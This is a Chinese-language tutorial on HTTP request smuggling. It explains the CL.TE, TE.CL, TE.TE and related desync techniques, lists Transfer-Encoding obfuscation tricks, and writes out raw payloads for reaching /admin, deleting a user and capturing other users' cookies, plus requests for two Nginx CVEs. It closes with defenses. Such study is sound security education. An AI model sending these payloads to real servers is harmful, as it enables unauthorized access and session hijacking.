关于HTTP Request Smuggling(HTTP请求夹带)的二三事
字数 2063 2025-08-26 22:11:34
HTTP请求走私(HTTP Request Smuggling)全面解析
1. HTTP协议版本概述
| 版本 | 显著特点 | 支持的请求方法 | 性能优化 | 泛用程度 |
|---|---|---|---|---|
| HTTP/0.9 | 不支持请求头响应头,纯文本 | GET | 已过时 | 已过时 |
| HTTP/1.0 | 支持请求头响应头,超文本 | GET、HEAD、POST | 短链接,无优化 | 仍有少量使用 |
| HTTP/1.1 | 性能优化,增加请求方法 | 增加了OPTIONS,PUT,DELETE,TRACE,CONNECT | Keep-Alive和chunked分块传输,请求流水线 | 目前使用最广泛 |
| HTTP/2.0 | 增加了二进制分帧 | 无变化 | 二进制分帧层用于多路复用,Server Push | 目前应用较少 |
2. HTTP/1.1关键特性
2.1 Keep-Alive机制
- 默认开启的特性
- 通过
Connection: Keep-Alive头告知服务器不要关闭TCP连接 - 优点:
- 减少TCP握手次数
- 降低服务器开销
- 加快访问速度
2.2 Pipeline机制
- 客户端可以像流水线一样连续发送HTTP请求而不等待响应
- 服务器需遵循先入先出机制处理请求
- 现代浏览器默认不启用,但多数服务器支持
3. 关键头部字段
3.1 Content-Length (CL)
- 表示HTTP消息体的字节长度
- 包含所有内容编码后的长度
- 计算注意事项:
- Windows换行:
\r\n(2字节) - Linux/Mac换行:
\n或\r(1字节) - 建议使用文本编辑器精确计算字符数
- Windows换行:
3.2 Transfer-Encoding (TE)
- 设计用于支持7-bit传输服务安全传输二进制数据
- HTTP/1.1引入,HTTP/2取消
- 主要传输编码:分块编码(chunked)
- 分块编码格式:
[chunk size][\r\n] [chunk data][\r\n] [chunk size][\r\n] [chunk data][\r\n] [chunk size = 0][\r\n][\r\n] - 示例分块传输:
Transfer-Encoding: chunked b\r\n 01234567890\r\n 5\r\n 12345\r\n 0\r\n \r\n
4. HTTP请求走私原理
4.1 基本概念
- 通过构造模糊的HTTP请求,使前端(代理)和后端服务器对请求边界解析不一致
- 导致部分请求被解释为下一个请求的开始
- 攻击效果:
- 绕过安全控制
- 未授权访问敏感数据
- 干扰其他用户请求
4.2 漏洞产生原因
- 前端代理服务器和后端Web服务器对同一请求理解不一致
- 主要涉及CL和TE头部的解析差异
- RFC规范:
- 同时存在CL和TE时,应忽略CL
- 但实际实现可能存在差异
5. HTTP请求走私攻击类型
5.1 CL!=0攻击
- 场景:前端允许GET带请求体,后端不允许
- 示例:
GET / HTTP/1.1\r\n Host: example.com\r\n Content-Length: 43\r\n GET /admin HTTP/1.1\r\n Host: example.com\r\n \r\n - 后端会将其解析为两个请求
5.2 CL.CL攻击
- 场景:前后端都使用CL,但对多个CL头处理不一致
- 示例:
POST / HTTP/1.1\r\n Host: example.com\r\n Content-Length: 8\r\n Content-Length: 7\r\n 12345\r\n a - 前端按第一个CL(8)处理,后端按第二个CL(7)处理
5.3 CL.TE攻击
- 场景:前端用CL,后端用TE
- 示例:
POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 13 Transfer-Encoding: chunked 0 SMUGGLED - 前端处理13字节,后端遇到0分块结束
5.4 TE.CL攻击
- 场景:前端用TE,后端用CL
- 示例:
POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 4 Transfer-Encoding: chunked 12 smuggle-data 0 - 前端处理到0分块,后端只读取4字节
5.5 TE.TE攻击
- 场景:前后端都处理TE,但通过混淆诱导其中一方不处理
- TE头混淆技术:
Transfer-Encoding: xchunkedTransfer-Encoding : chunked(多余空格)Transfer-Encoding: chunkedTransfer-Encoding: xTransfer-Encoding:[tab]chunked[space]Transfer-Encoding: chunkedX: X[\n]Transfer-Encoding: chunkedTransfer-Encoding : chunked
6. 实际攻击案例
6.1 绕过前端安全控制(CL.TE)
- 构造走私请求访问被阻止的/admin路径:
POST / HTTP/1.1 Host: target.com Content-Length: 30 Transfer-Encoding: chunked 0 GET /admin HTTP/1.1 - 添加Host头绕过本地限制:
POST / HTTP/1.1 Host: target.com Content-Length: 70 Transfer-Encoding: chunked 0 GET /admin/delete?username=carlos HTTP/1.1 Host: localhost
6.2 揭示前端请求重写
- 找到能回显参数值的POST请求(如搜索功能)
- 将参数放在消息最后:
POST / HTTP/1.1 Content-Length: 99 Content-Type: application/x-www-form-urlencoded search=123 - 前端添加的隐藏头会显示在回显中
6.3 捕获其他用户请求
- 构造走私请求到评论功能:
POST / HTTP/1.1 Transfer-Encoding: chunked 0 POST /post/comment HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 600 Cookie: session=受害用户cookie... - 等待其他用户访问,其请求会被捕获在评论中
7. 相关CVE漏洞
7.1 CVE-2019-20372 (Nginx)
- 影响版本:1.17.7之前
- 涉及error_page配置导致的请求走私
- 示例:
GET /a HTTP/1.1\r\n Host: localhost\r\n Content-Length: 56\r\n \r\n GET /_hidden/index.html HTTP/1.1\r\n Host: notlocalhost\r\n \r\n
7.2 CVE-2020-12440 (Nginx)
- 影响版本:1.18.0及之前
- 可导致缓存投毒、凭证劫持
- 示例:
GET /test.html HTTP/1.1 Host: www.target.com Content-Length: 2 GET /poc.html HTTP/1.1 Host: www.target.com Content-Length: 15
8. 防御措施
- 禁用代理服务器与后端服务器之间的连接重用
- 对前端服务器和后端服务器使用相同的HTTP协议版本
- 严格验证HTTP请求头,拒绝模糊请求
- 确保服务器正确处理CL和TE头部的优先级
- 定期更新服务器软件,修复已知漏洞
通过深入理解HTTP协议规范和服务器实现差异,可以有效防范HTTP请求走私攻击。